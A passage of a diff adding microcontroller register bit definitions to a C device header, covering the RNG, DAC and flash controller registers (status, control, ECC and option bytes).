RNG_NSCR_EN_OSC2_Pos) /*!< 0x00000038 */ +#define RNG_NSCR_EN_OSC2 RNG_NSCR_EN_OSC2_Msk +#define RNG_NSCR_EN_OSC3_Pos (6UL) +#define RNG_NSCR_EN_OSC3_Msk (0x7UL << RNG_NSCR_EN_OSC3_Pos) /*!< 0x000001C0 */ +#define RNG_NSCR_EN_OSC3 RNG_NSCR_EN_OSC3_Msk +#define RNG_NSCR_EN_OSC4_Pos (9UL) +#define RNG_NSCR_EN_OSC4_Msk (0x7UL << RNG_NSCR_EN_OSC4_Pos) /*!< 0x00000E00 */ +#define RNG_NSCR_EN_OSC4 RNG_NSCR_EN_OSC4_Msk +#define RNG_NSCR_EN_OSC5_Pos (12UL) +#define RNG_NSCR_EN_OSC5_Msk (0x7UL << RNG_NSCR_EN_OSC5_Pos) /*!< 0x00007000 */ +#define RNG_NSCR_EN_OSC5 RNG_NSCR_EN_OSC5_Msk +#define RNG_NSCR_EN_OSC6_Pos (15UL) +#define RNG_NSCR_EN_OSC6_Msk (0x7UL << RNG_NSCR_EN_OSC6_Pos) /*!< 0x00038000 */ +#define RNG_NSCR_EN_OSC6 RNG_NSCR_EN_OSC6_Msk + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0UL) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk +/******************** RNG Nist Compliance Values *******************/ +#define RNG_CR_NIST_VALUE (0x00F10F00U) +#define RNG_HTCR_NIST_VALUE (0x92F3U) +#define RNG_NSCR_NIST_VALUE (0x1609U) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0UL) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14UL) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16UL) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30UL) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0UL) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) + +#define FLASH_PAGE_SIZE 0x2000U /* 8 KB */ + +#define FLASH_PAGE_NB (FLASH_BANK_SIZE / FLASH_PAGE_SIZE) + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0UL) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_PRFTEN_Pos (8UL) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ +#define FLASH_ACR_LPM_Pos (11UL) +#define FLASH_ACR_LPM_Msk (0x1UL << FLASH_ACR_LPM_Pos) /*!< 0x00000800 */ +#define FLASH_ACR_LPM FLASH_ACR_LPM_Msk /*!< Low-Power read mode */ +#define FLASH_ACR_PDREQ1_Pos (12UL) +#define FLASH_ACR_PDREQ1_Msk (0x1UL << FLASH_ACR_PDREQ1_Pos) /*!< 0x00001000 */ +#define FLASH_ACR_PDREQ1 FLASH_ACR_PDREQ1_Msk /*!< Bank 1 power-down mode request */ +#define FLASH_ACR_PDREQ2_Pos (13UL) +#define FLASH_ACR_PDREQ2_Msk (0x1UL << FLASH_ACR_PDREQ2_Pos) /*!< 0x00002000 */ +#define FLASH_ACR_PDREQ2 FLASH_ACR_PDREQ2_Msk /*!< Bank 2 power-down mode request */ +#define FLASH_ACR_SLEEP_PD_Pos (14UL) +#define FLASH_ACR_SLEEP_PD_Msk (0x1UL << FLASH_ACR_SLEEP_PD_Pos) /*!< 0x00004000 */ +#define FLASH_ACR_SLEEP_PD FLASH_ACR_SLEEP_PD_Msk /*!< Flash power-down mode during sleep */ + +/****************** Bits definition for FLASH_NSSR register *****************/ +#define FLASH_NSSR_EOP_Pos (0UL) +#define FLASH_NSSR_EOP_Msk (0x1UL << FLASH_NSSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_NSSR_EOP FLASH_NSSR_EOP_Msk /*!< Non-secure end of operation */ +#define FLASH_NSSR_OPERR_Pos (1UL) +#define FLASH_NSSR_OPERR_Msk (0x1UL << FLASH_NSSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_NSSR_OPERR FLASH_NSSR_OPERR_Msk /*!< Non-secure operation error */ +#define FLASH_NSSR_PROGERR_Pos (3UL) +#define FLASH_NSSR_PROGERR_Msk (0x1UL << FLASH_NSSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_NSSR_PROGERR FLASH_NSSR_PROGERR_Msk /*!< Non-secure programming error */ +#define FLASH_NSSR_WRPERR_Pos (4UL) +#define FLASH_NSSR_WRPERR_Msk (0x1UL << FLASH_NSSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_NSSR_WRPERR FLASH_NSSR_WRPERR_Msk /*!< Non-secure write protection error */ +#define FLASH_NSSR_PGAERR_Pos (5UL) +#define FLASH_NSSR_PGAERR_Msk (0x1UL << FLASH_NSSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_NSSR_PGAERR FLASH_NSSR_PGAERR_Msk /*!< Non-secure programming alignment error */ +#define FLASH_NSSR_SIZERR_Pos (6UL) +#define FLASH_NSSR_SIZERR_Msk (0x1UL << FLASH_NSSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_NSSR_SIZERR FLASH_NSSR_SIZERR_Msk /*!< Non-secure size error */ +#define FLASH_NSSR_PGSERR_Pos (7UL) +#define FLASH_NSSR_PGSERR_Msk (0x1UL << FLASH_NSSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_NSSR_PGSERR FLASH_NSSR_PGSERR_Msk /*!< Non-secure programming sequence error */ +#define FLASH_NSSR_OPTWERR_Pos (13UL) +#define FLASH_NSSR_OPTWERR_Msk (0x1UL << FLASH_NSSR_OPTWERR_Pos) /*!< 0x00002000 */ +#define FLASH_NSSR_OPTWERR FLASH_NSSR_OPTWERR_Msk /*!< Option write error */ +#define FLASH_NSSR_BSY_Pos (16UL) +#define FLASH_NSSR_BSY_Msk (0x1UL << FLASH_NSSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_NSSR_BSY FLASH_NSSR_BSY_Msk /*!< Non-secure busy */ +#define FLASH_NSSR_WDW_Pos (17UL) +#define FLASH_NSSR_WDW_Msk (0x1UL << FLASH_NSSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_NSSR_WDW FLASH_NSSR_WDW_Msk /*!< Non-secure wait data to write */ +#define FLASH_NSSR_OEM1LOCK_Pos (18UL) +#define FLASH_NSSR_OEM1LOCK_Msk (0x1UL << FLASH_NSSR_OEM1LOCK_Pos) /*!< 0x00040000 */ +#define FLASH_NSSR_OEM1LOCK FLASH_NSSR_OEM1LOCK_Msk /*!< OEM1 lock */ +#define FLASH_NSSR_OEM2LOCK_Pos (19UL) +#define FLASH_NSSR_OEM2LOCK_Msk (0x1UL << FLASH_NSSR_OEM2LOCK_Pos) /*!< 0x00080000 */ +#define FLASH_NSSR_OEM2LOCK FLASH_NSSR_OEM2LOCK_Msk /*!< OEM2 lock */ +#define FLASH_NSSR_PD1_Pos (20UL) +#define FLASH_NSSR_PD1_Msk (0x1UL << FLASH_NSSR_PD1_Pos) /*!< 0x00100000 */ +#define FLASH_NSSR_PD1 FLASH_NSSR_PD1_Msk /*!< Bank 1 in power-down mode */ +#define FLASH_NSSR_PD2_Pos (21UL) +#define FLASH_NSSR_PD2_Msk (0x1UL << FLASH_NSSR_PD2_Pos) /*!< 0x00200000 */ +#define FLASH_NSSR_PD2 FLASH_NSSR_PD2_Msk /*!< Bank 2 in power-down mode */ + +/****************** Bits definition for FLASH_SECSR register ****************/ +#define FLASH_SECSR_EOP_Pos (0UL) +#define FLASH_SECSR_EOP_Msk (0x1UL << FLASH_SECSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_SECSR_EOP FLASH_SECSR_EOP_Msk /*!< Secure end of operation */ +#define FLASH_SECSR_OPERR_Pos (1UL) +#define FLASH_SECSR_OPERR_Msk (0x1UL << FLASH_SECSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_SECSR_OPERR FLASH_SECSR_OPERR_Msk /*!< Secure operation error */ +#define FLASH_SECSR_PROGERR_Pos (3UL) +#define FLASH_SECSR_PROGERR_Msk (0x1UL << FLASH_SECSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_SECSR_PROGERR FLASH_SECSR_PROGERR_Msk /*!< Secure programming error */ +#define FLASH_SECSR_WRPERR_Pos (4UL) +#define FLASH_SECSR_WRPERR_Msk (0x1UL << FLASH_SECSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_SECSR_WRPERR FLASH_SECSR_WRPERR_Msk /*!< Secure write protection error */ +#define FLASH_SECSR_PGAERR_Pos (5UL) +#define FLASH_SECSR_PGAERR_Msk (0x1UL << FLASH_SECSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_SECSR_PGAERR FLASH_SECSR_PGAERR_Msk /*!< Secure programming alignment error */ +#define FLASH_SECSR_SIZERR_Pos (6UL) +#define FLASH_SECSR_SIZERR_Msk (0x1UL << FLASH_SECSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_SECSR_SIZERR FLASH_SECSR_SIZERR_Msk /*!< Secure size error */ +#define FLASH_SECSR_PGSERR_Pos (7UL) +#define FLASH_SECSR_PGSERR_Msk (0x1UL << FLASH_SECSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_SECSR_PGSERR FLASH_SECSR_PGSERR_Msk /*!< Secure programming sequence error */ +#define FLASH_SECSR_BSY_Pos (16UL) +#define FLASH_SECSR_BSY_Msk (0x1UL << FLASH_SECSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_SECSR_BSY FLASH_SECSR_BSY_Msk /*!< Secure busy */ +#define FLASH_SECSR_WDW_Pos (17UL) +#define FLASH_SECSR_WDW_Msk (0x1UL << FLASH_SECSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_SECSR_WDW FLASH_SECSR_WDW_Msk /*!< Secure wait data to write */ + +/****************** Bits definition for FLASH_NSCR register *****************/ +#define FLASH_NSCR_PG_Pos (0UL) +#define FLASH_NSCR_PG_Msk (0x1UL << FLASH_NSCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_NSCR_PG FLASH_NSCR_PG_Msk /*!< Non-secure Programming */ +#define FLASH_NSCR_PER_Pos (1UL) +#define FLASH_NSCR_PER_Msk (0x1UL << FLASH_NSCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_NSCR_PER FLASH_NSCR_PER_Msk /*!< Non-secure Page Erase */ +#define FLASH_NSCR_MER1_Pos (2UL) +#define FLASH_NSCR_MER1_Msk (0x1UL << FLASH_NSCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_NSCR_MER1 FLASH_NSCR_MER1_Msk /*!< Non-secure Bank 1 Mass Erase */ +#define FLASH_NSCR_PNB_Pos (3UL) +#define FLASH_NSCR_PNB_Msk (0xFFUL << FLASH_NSCR_PNB_Pos) /*!< 0x000007F8 */ +#define FLASH_NSCR_PNB FLASH_NSCR_PNB_Msk /*!< Non-secure Page Number selection */ +#define FLASH_NSCR_BKER_Pos (11UL) +#define FLASH_NSCR_BKER_Msk (0x1UL << FLASH_NSCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_NSCR_BKER FLASH_NSCR_BKER_Msk /*!< Non-secure Bank Selection for Page Erase */ +#define FLASH_NSCR_BWR_Pos (14UL) +#define FLASH_NSCR_BWR_Msk (0x1UL << FLASH_NSCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_NSCR_BWR FLASH_NSCR_BWR_Msk /*!< Non-secure Burst Write Programming mode */ +#define FLASH_NSCR_MER2_Pos (15UL) +#define FLASH_NSCR_MER2_Msk (0x1UL << FLASH_NSCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_NSCR_MER2 FLASH_NSCR_MER2_Msk /*!< Non-secure Bank 2 Mass Erase */ +#define FLASH_NSCR_STRT_Pos (16UL) +#define FLASH_NSCR_STRT_Msk (0x1UL << FLASH_NSCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_NSCR_STRT FLASH_NSCR_STRT_Msk /*!< Non-secure Start */ +#define FLASH_NSCR_OPTSTRT_Pos (17UL) +#define FLASH_NSCR_OPTSTRT_Msk (0x1UL << FLASH_NSCR_OPTSTRT_Pos) /*!< 0x00020000 */ +#define FLASH_NSCR_OPTSTRT FLASH_NSCR_OPTSTRT_Msk /*!< Option Modification Start */ +#define FLASH_NSCR_EOPIE_Pos (24UL) +#define FLASH_NSCR_EOPIE_Msk (0x1UL << FLASH_NSCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_NSCR_EOPIE FLASH_NSCR_EOPIE_Msk /*!< Non-secure End of operation interrupt enable */ +#define FLASH_NSCR_ERRIE_Pos (25UL) +#define FLASH_NSCR_ERRIE_Msk (0x1UL << FLASH_NSCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_NSCR_ERRIE FLASH_NSCR_ERRIE_Msk /*!< Non-secure error interrupt enable */ +#define FLASH_NSCR_OBL_LAUNCH_Pos (27UL) +#define FLASH_NSCR_OBL_LAUNCH_Msk (0x1UL << FLASH_NSCR_OBL_LAUNCH_Pos) /*!< 0x08000000 */ +#define FLASH_NSCR_OBL_LAUNCH FLASH_NSCR_OBL_LAUNCH_Msk /*!< Force the option byte loading */ +#define FLASH_NSCR_OPTLOCK_Pos (30UL) +#define FLASH_NSCR_OPTLOCK_Msk (0x1UL << FLASH_NSCR_OPTLOCK_Pos) /*!< 0x40000000 */ +#define FLASH_NSCR_OPTLOCK FLASH_NSCR_OPTLOCK_Msk /*!< Option Lock */ +#define FLASH_NSCR_LOCK_Pos (31UL) +#define FLASH_NSCR_LOCK_Msk (0x1UL << FLASH_NSCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_NSCR_LOCK FLASH_NSCR_LOCK_Msk /*!< Non-secure Lock */ + +/****************** Bits definition for FLASH_SECCR register ****************/ +#define FLASH_SECCR_PG_Pos (0UL) +#define FLASH_SECCR_PG_Msk (0x1UL << FLASH_SECCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_SECCR_PG FLASH_SECCR_PG_Msk /*!< Secure Programming */ +#define FLASH_SECCR_PER_Pos (1UL) +#define FLASH_SECCR_PER_Msk (0x1UL << FLASH_SECCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_SECCR_PER FLASH_SECCR_PER_Msk /*!< Secure Page Erase */ +#define FLASH_SECCR_MER1_Pos (2UL) +#define FLASH_SECCR_MER1_Msk (0x1UL << FLASH_SECCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_SECCR_MER1 FLASH_SECCR_MER1_Msk /*!< Secure Bank 1 Mass Erase */ +#define FLASH_SECCR_PNB_Pos (3UL) +#define FLASH_SECCR_PNB_Msk (0xFFUL << FLASH_SECCR_PNB_Pos) /*!< 0x000007F8 */ +#define FLASH_SECCR_PNB FLASH_SECCR_PNB_Msk /*!< Secure Page Number selection */ +#define FLASH_SECCR_BKER_Pos (11UL) +#define FLASH_SECCR_BKER_Msk (0x1UL << FLASH_SECCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_SECCR_BKER FLASH_SECCR_BKER_Msk /*!< Secure Bank Selection for Page Erase */ +#define FLASH_SECCR_BWR_Pos (14UL) +#define FLASH_SECCR_BWR_Msk (0x1UL << FLASH_SECCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_SECCR_BWR FLASH_SECCR_BWR_Msk /*!< Secure Burst Write programming mode */ +#define FLASH_SECCR_MER2_Pos (15UL) +#define FLASH_SECCR_MER2_Msk (0x1UL << FLASH_SECCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_SECCR_MER2 FLASH_SECCR_MER2_Msk /*!< Secure Bank 2 Mass Erase */ +#define FLASH_SECCR_STRT_Pos (16UL) +#define FLASH_SECCR_STRT_Msk (0x1UL << FLASH_SECCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_SECCR_STRT FLASH_SECCR_STRT_Msk /*!< Secure Start */ +#define FLASH_SECCR_EOPIE_Pos (24UL) +#define FLASH_SECCR_EOPIE_Msk (0x1UL << FLASH_SECCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_SECCR_EOPIE FLASH_SECCR_EOPIE_Msk /*!< Secure end of operation interrupt enable */ +#define FLASH_SECCR_ERRIE_Pos (25UL) +#define FLASH_SECCR_ERRIE_Msk (0x1UL << FLASH_SECCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_SECCR_ERRIE FLASH_SECCR_ERRIE_Msk /*!< Secure error interrupt enable */ +#define FLASH_SECCR_INV_Pos (29UL) +#define FLASH_SECCR_INV_Msk (0x1UL << FLASH_SECCR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_SECCR_INV FLASH_SECCR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_SECCR_LOCK_Pos (31UL) +#define FLASH_SECCR_LOCK_Msk (0x1UL << FLASH_SECCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_SECCR_LOCK FLASH_SECCR_LOCK_Msk /*!< Secure Lock */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0UL) +#define FLASH_ECCR_ADDR_ECC_Msk (0x1FFFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x001FFFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_BK_ECC_Pos (21UL) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (22UL) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (24UL) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30UL) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31UL) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0UL) +#define FLASH_OPSR_ADDR_OP_Msk (0x1FFFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x001FFFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Flash operation address */ +#define FLASH_OPSR_BK_OP_Pos (21UL) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (22UL) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29UL) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTR register ***************/ +#define FLASH_OPTR_RDP_Pos (0UL) +#define FLASH_OPTR_RDP_Msk (0xFFUL << FLASH_OPTR_RDP_Pos) /*!< 0x000000FF */ +#define FLASH_OPTR_RDP FLASH_OPTR_RDP_Msk /*!< Readout protection level */ +#define FLASH_OPTR_BOR_LEV_Pos (8UL) +#define FLASH_OPTR_BOR_LEV_Msk (0x7UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000700 */ +#define FLASH_OPTR_BOR_LEV FLASH_OPTR_BOR_LEV_Msk /*!< BOR reset Level */ +#define FLASH_OPTR_BOR_LEV_0 (0x1UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000100 */ +#define FLASH_OPTR_BOR_LEV_1 (0x2UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000200 */ +#define FLASH_OPTR_BOR_LEV_2 (0x4UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000400 */ +#define FLASH_OPTR_nRST_STOP_Pos (12UL) +#define FLASH_OPTR_nRST_STOP_Msk (0x1UL << FLASH_OPTR_nRST_STOP_Pos) /*!< 0x00001000 */ +#define FLASH_OPTR_nRST_STOP FLASH_OPTR_nRST_STOP_Msk /*!< nRST_STOP */ +#define FLASH_OPTR_nRST_STDBY_Pos (13UL) +#define FLASH_OPTR_nRST_STDBY_Msk (0x1UL << FLASH_OPTR_nRST_STDBY_Pos) /*!< 0x00002000 */ +#define FLASH_OPTR_nRST_STDBY FLASH_OPTR_nRST_STDBY_Msk /*!< nRST_STDBY */ +#define FLASH_OPTR_nRST_SHDW_Pos (14UL) +#define FLASH_OPTR_nRST_SHDW_Msk (0x1UL << FLASH_OPTR_nRST_SHDW_Pos) /*!< 0x00004000 */ +#define FLASH_OPTR_nRST_SHDW FLASH_OPTR_nRST_SHDW_Msk /*!< nRST_SHDW */ +#define FLASH_OPTR_SRAM_RST_Pos (15UL) +#define FLASH_OPTR_SRAM_RST_Msk (0x1UL << FLASH_OPTR_SRAM_RST_Pos) /*!< 0x00008000 */ +#define FLASH_OPTR_SRAM_RST FLASH_OPTR_SRAM_RST_Msk /*!< All SRAMs (except SRAM2 and BKPSRAM) erase upon system reset */ +#define FLASH_OPTR_IWDG_SW_Pos (16UL) +#define FLASH_OPTR_IWDG_SW_Msk (0x1UL << FLASH_OPTR_IWDG_SW_Pos) /*!< 0x00010000 */ +#define FLASH_OPTR_IWDG_SW FLASH_OPTR_IWDG_SW_Msk /*!< Independent watchdog selection */ +#define FLASH_OPTR_IWDG_STOP_Pos (17UL) +#define FLASH_OPTR_IWDG_STOP_Msk (0x1UL << FLASH_OPTR_IWDG_STOP_Pos) /*!< 0x00020000 */ +#define FLASH_OPTR_IWDG_STOP FLASH_OPTR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTR_IWDG_STDBY_Pos (18UL) +#define FLASH_OPTR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTR_IWDG_STDBY_Pos) /*!< 0x00040000 */ +#define FLASH_OPTR_IWDG_STDBY FLASH_OPTR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTR_WWDG_SW_Pos (19UL) +#define FLASH_OPTR_WWDG_SW_Msk (0x1UL << FLASH_OPTR_WWDG_SW_Pos) /*!< 0x00080000 */ +#define FLASH_OPTR_WWDG_SW FLASH_OPTR_WWDG_SW_Msk /*!< Window watchdog selection */ +#define FLASH_OPTR_SWAP_BANK_Pos (20UL) +#define FLASH_OPTR_SWAP_BANK_Msk (0x1UL << FLASH_OPTR_SWAP_BANK_Pos) /*!< 0x00100000 */ +#define FLASH_OPTR_SWAP_BANK FLASH_OPTR_SWAP_BANK_Msk /*!< Swap banks */ +#define FLASH_OPTR_DUALBANK_Pos (21UL) +#define FLASH_OPTR_DUALBANK_Msk (0x1UL << FLASH_OPTR_DUALBANK_Pos) /*!< 0x00200000 */ +#define FLASH_OPTR_DUALBANK FLASH_OPTR_DUALBANK_Msk /*!< Dual-bank on 1M and 512 Kbytes Flash memory devices */ +#define FLASH_OPTR_BKPRAM_ECC_Pos (22UL) +#define FLASH_OPTR_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTR_BKPRAM_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_OPTR_BKPRAM_ECC FLASH_OPTR_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTR_SRAM3_ECC_Pos (23UL) +#define FLASH_OPTR_SRAM3_ECC_Msk (0x1UL << FLASH_OPTR_SRAM3_ECC_Pos) /*!< 0x00800000 */ +#define FLASH_OPTR_SRAM3_ECC FLASH_OPTR_SRAM3_ECC_Msk /*!< SRAM3 ECC detection and correction enable */ +#define FLASH_OPTR_SRAM2_ECC_Pos (24UL) +#define FLASH_OPTR_SRAM2_ECC_Msk (0x1UL << FLASH_OPTR_SRAM2_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_OPTR_SRAM2_ECC FLASH_OPTR_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction enable*/ +#define FLASH_OPTR_SRAM2_RST_Pos (25UL) +#define FLASH_OPTR_SRAM2_RST_Msk (0x1UL << FLASH_OPTR_SRAM2_RST_Pos) /*!< 0x02000000 */ +#define FLASH_OPTR_SRAM2_RST FLASH_OPTR_SRAM2_RST_Msk /*!< SRAM2 erase when system reset */ +#define FLASH_OPTR_nSWBOOT0_Pos (26UL) +#define FLASH_OPTR_nSWBOOT0_Msk (0x1UL << FLASH_OPTR_nSWBOOT0_Pos) /*!< 0x04000000 */ +#define FLASH_OPTR_nSWBOOT0 FLASH_OPTR_nSWBOOT0_Msk /*!< Software BOOT0 */ +#define FLASH_OPTR_nBOOT0_Pos (27UL) +#define FLASH_OPTR_nBOOT0_Msk (0x1UL << FLASH_OPTR_nBOOT0_Pos) /*!< 0x08000000 */ +#define FLASH_OPTR_nBOOT0 FLASH_OPTR_nBOOT0_Msk /*!< nBOOT0 option bit */ +#define FLASH_OPTR_PA15_PUPEN_Pos (28UL) +#define FLASH_OPTR_PA15_PUPEN_Msk (0x1UL << FLASH_OPTR_PA15_PUPEN_Pos) /*!< 0x10000000 */ +#define FLASH_OPTR_PA15_PUPEN FLASH_OPTR_PA15_PUPEN_Msk /*!< PA15 pull-up enable */ +#define FLASH_OPTR_IO_VDD_HSLV_Pos (29UL) +#define FLASH_OPTR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDD_HSLV_Pos) /*!< 0x20000000 */ +#define FLASH_OPTR_IO_VDD_HSLV FLASH_OPTR_IO_VDD_HSLV_Msk /*!< High speed IO at low voltage configuration bit */ +#define FLASH_OPTR_IO_VDDIO2_HSLV_Pos (30UL) +#define 